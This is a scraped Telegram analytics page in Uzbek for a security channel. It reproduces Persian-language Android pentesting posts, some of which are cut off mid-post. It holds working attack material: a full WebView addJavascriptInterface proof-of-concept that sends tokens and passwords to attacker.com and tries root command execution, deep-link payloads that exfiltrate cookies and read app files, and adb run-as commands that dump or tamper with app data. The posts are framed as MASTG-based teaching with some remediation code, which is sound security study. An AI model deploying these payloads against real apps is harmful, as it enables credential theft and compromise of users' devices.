Security Analysis
- Offensive Security (Red Teaming / PenTesting) - BlueTeam (OperationSec, TreatHunting, DFIR) - Reverse Engineering / Malware Analysis - Web Security - Cryptography - Steganography - Forensics Contact : @DrPwner
Ko'proq ko'rsatish📈 Telegram kanali Security Analysis analitikasi
Security Analysis (@securation) Forsiy til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 11 711 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 10 698-o'rinni va Eron mintaqasida 27 232-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 11 711 obunachiga ega bo‘ldi.
08 Iyun, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni 197 ga, so‘nggi 24 soatda esa 10 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 27.57% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 8.06% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 3 229 marta ko‘riladi; birinchi sutkada odatda 944 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 15 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent ابزار, شناسایی, next.js, مهاجم, داده kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 09 Iyun, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
C2 server fingerprinter — Cobalt Strike, Sliver, Mythic, Havoc, Brute Ratel#infosec #C2 #ThreatHunting @securation
این فلگ در AndroidManifest.xml تعیین میکند که ایا سیستم اجازه دارد از دیتا های روت برنامه برای کاربر بکاپ بگیرد یا خیر، اگر مقدار این فلگ true باشد مهاجمی که دسترسی فیزیکی به دستگاه دارد با استفاده از adb میتواند تمامی دیتا های روت برنامه را استخراج کند(در اندروید 12 به بعد باید حتما فلگ debuggable نیز true باشد) که این دیتا شامل دیتابیس ها، SharedPreferences و تمامی فایل های ذخیره شده در روت برنامه می باشد!(بدون اینکه دستگاه روت شده باشد) این آسیب پذیری زمانی بحرانی میشود که اپ اطلاعات حساسی مانند توکن اهراز هویت، کلید های رمزنگاری و یا اطلاعات خصوصی کاربر را در مسیر روت ذخیره کرده باشد؛ راهکار امنیتی مطابق استاندارد MASTG غیر فعال کردن فلگ بکاپ در نسخه ریلیز برنامه میباشد، یا در صورت نیاز به امکان بکاپ، میبایست از طریق backup_rules.xml امکان بکاپ گیری از فایل های حساس را جلوگیری نمود
#backup
adb backup -apk com.example.app -f backup.ab
#restore
adb restore backup.ab
استخراج داده ها از فایل بکاپ backup.ab توسط ابزار abe:
https://github.com/nelenkov/android-backup-extractor
2) debuggable:
این فلگ نیز در AndroidManifest.xml قرار دارد، اگر این فلگ برای یک اپ در نسخه ریلیز برابر true باشد، یک آسیب پذیری جدی محسوب میشود؛ چراکه مهاجم میتواند با استفاده از ابزار هایی مانند jdb به پروسه اپ متصل شده مقادیر متغیر های حساس در حافظه مثل توکن اهراز هویت یا کلید های api را بخواند و یا حتی flow اجرای برنامه را تغییر دهد، همچنین در اندروید 12 به بعد پیش شرط اجرای موفق دستور adb backup برای استخراج دیتای برنامه است، علاوه براین به واسطه دستور run-as که از adb shell در دسترس است میتوان به دایرکتوری روت اپ دیباگیبل دسترسی داشت و حتی فایل های آنرا ویرایش کرد و سو استفاده های لازم را به انجام رساند! بنابراین لازم است که در نسخه ریلیز و موقع انتشار عمومی برنامه مقدار این فلگ را برابر false قرار دهید
# printing the content of SharedPref
adb shell "run-as com.target.app cat shared_prefs/AppPref.xml"
# listing all db names
adb shell "run-as com.target.app ls -la databases/"
# manipulating isLoggedIn to true using sed
adb shell "run-as com.target.app sed -i 's/isLoggedIn\" value=\"false\"/isLoggedIn\" value=\"true\"/' shared_prefs/AppPref.xml"
# backing up entire directory
adb shell "run-as com.target.app tar -czf - /data/data/com.target.app" > backup.tar.gz
@securation
#Android #RE #Owasp #Mastg #allowBackup->authenticated بدون هیچگونه بررسی گواهی یا امضای سختافزاری روی True تنظیم میشود،به واسطه این نقص در فرآیند احراز هویت، مهاجم میتواند از طریق پیام نوع ۱۴، کلید خود را مستقیماً به فایل authorized_keys کاربر سطح بالای vmanage-admin تزریق کرده و دسترسی دائمی برای اجرای دستورات NETCONF روی پورت ۸۳۰ به دست آورد .
با توجه به اینکه هیچ راهکار موقتی (Workaround) برای این نقص وجود ندارد، ارتقای فوری به نسخههای اصلاحشده جهت جلوگیری از نفوذ کامل به زیرساخت توصیه میشود .
#RedTeam #Cisco #vulnerability_Analysis
@securationWebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));
کد اکسپلویت کامل
<!DOCTYPE html>
<html>
<head>
<title>POC - WebView addJavascriptInterface</title>
</head>
<body>
<h2> Exploiting addJavascriptInterface</h2>
<div id="result"></div>
<script>
// مرحله 1: سرقت دیتا از متدهای exposed
try {
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
document.getElementById('result').innerHTML +=
'<p>Stolen: ' + method + ' = ' + data + '</p>';
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
}
} catch(e) {}
}
} catch(e) {}
// مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
try {
var context = window.Android.getContext();
var classLoader = context.getClassLoader();
var Runtime = classLoader.loadClass('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
Runtime.exec(['su', '-c', 'id']);
document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
} catch(e) {
document.getElementById('result').innerHTML +=
'<p> RCE not possible (no chain method)</p>';
}
</script>
</body>
</html>
نسخه سادهتر (سرقت دیتا از متود های اکسپوزد)
<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body>
<script>
// سرقت دیتای هر متدی که در کلاس جاوا وجود داره
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
alert('Stolen: ' + data);
}
} catch(e) {}
}
</script>
</body>
</html>
نکته: این POC فرض میکنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن.
نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!
برای مطالعه بیشتر: Owasp MASTG
@securation
#Android #RE #Owasp #Mastg #webviewفعال شدن جاوااسکریپت = راه ورود XSS. مهاجم میتونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.
# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"
# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"
2) setAllowUniversalAccessFromFileUrls(true)
اجازه میده فایلهای HTML به همه فایل scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم میتونه فایلهای دیتابیس و SharedPreferences رو بخونه.
# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"
# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"
3) addJavascriptInterface
بسیار خطرناک! مهاجم میتونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.
# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"
# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"
#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"
4) setAllowContentAccess(true)
اجازه دسترسی به Content Provider ها از طریق content://، مهاجم میتونه دیتابیسهای داخلی، مخاطبین، یا فایلهای حساس اپ رو بدزده.
# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"
# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"
5) لود URL از ورودی کاربر
اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم میتونه حملات زیر رو ترتیب بده:
Scheme | حمله -----------------+------------------------------------ `javascript://` | XSS `file://` | خواندن فایل `intent://` | ریدایرکت به اکتیویتی غیراکسپورت شده `data:text/html` | XSS مستقیم
# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"
# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"
# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"
# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"
📌 نکته مهم وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود میکند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیبپذیریها همچنان قابل بهرهبرداری هستند. پس در پنتست: • اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider) • بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن✅ چکلیست پنتست: • مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider) • تست XSS با
javascript:alert()
• تست خواندن فایل با file:///data/data/...
• تست JavaScript Interface با Object.keys(window)
• تست Content Provider با content://...
@securation
#Android #RE #Owasp #Mastg #webview<activity android:name=".AttackerActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
و در کد به شکل زیر فراخوانی انجام میشود
Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("com.target.app", "com.target.app.SecretActivity"));
//intent.putExtra("password","123")
startActivity(intent);
@securation
#Android #RE #Owasp #Mastg #Intent#intent without extras
adb shell am start -n "com.package.name/.TargetActivity"
#intent with extras
adb shell am start -n "com.package.name/.TargetActivity" --es Name "Ali" --ei Age 18 --ez isAdmin true
#intent with custom category + deeplink
adb shell am start -n "com.package.name/.TargetActivity"\
-a android.intent.action.VIEW \
-c android.intent.category.DEFAULT \
-c android.intent.category.BROWSABLE \
-d "myapp://com.package.name/Access/HiddenSettings"
شما برای پنتست اینتنت ها ابتدا لازم است که اینتنت هایی که مقدار exported برابر true هست پیدا کنید اگر یک اکتیویتی به جز اکتیویتی Main مقدار exported آن برابر true باشد به عنوان یک مشکل امنیتی بالقوه به حساب می آید!
اگر اکتیویتی دیگری به جز Main را بنابه دلایلی ناچار شدید مقدار exported آنرا true کنید باید حتما داخل آن اکتیویتی چک شود که اینتنت این اکتیویتی به واسطه اکتیویتی دیگری از خود برنامه لانچ شده است یا مستقیما به واسطه adb shell یا دیگر برنامه های نصب شده روی سیستم عامل؛ در صورت لانچ شدن آن به واسطه اپ های دیگر یا adb shell باید جلوی اجرای برنامه گرفته شود یا به کرش منجر شود یا به یک اینتنت دیگر مثل صفحه لاگین ریدایرکت شود در غیر اینصورت برنامه ما دارای یک مشکل امنیتی بالقوه است!
مثال عملی:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// بررسی اینکه Intent از کجا آمده
if (isIntentFromExternalApp()) {
finish(); // بستن Activity
return;
}
setContentView(R.layout.activity_sensitive);
}
private boolean isIntentFromExternalApp() {
String callingPackage = getCallingPackage();
if (callingPackage == null) {
// یعنی با adb یا مستقیما از لانچر باز شده
return true;
}
// بررسی اینکه صداکننده خود برنامه است یا یک اپ اندرویدی دیگر
return !callingPackage.equals(getPackageName());
}
متود getCallingPackage() نام پکیج اپلیکیشنی را برمیگرداند که این Intent را فرستاده.
· اگر null بود → یعنی از adb یا لانچر بیرون از برنامه صدا زده شده.
· اگر برابر با getPackageName() نبود → یعنی از اپ دیگر آمده.
@securation
#Android #RE #Owasp #Mastg #Intentrewrite ^/users/([0-9]+)/(.*)$ /index.php?id=$1&tab=$2 last;
در صورتی که امکان بهروزرسانی برای شما وجود ندارد، توصیه میشود در تنظیمات بازنویسی آدرسها (Rewrite)، به جای استفاده از Unnamed Captures از Named Captures استفاده کنید.
https://nvd.nist.gov/vuln/detail/CVE-2026-42945
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
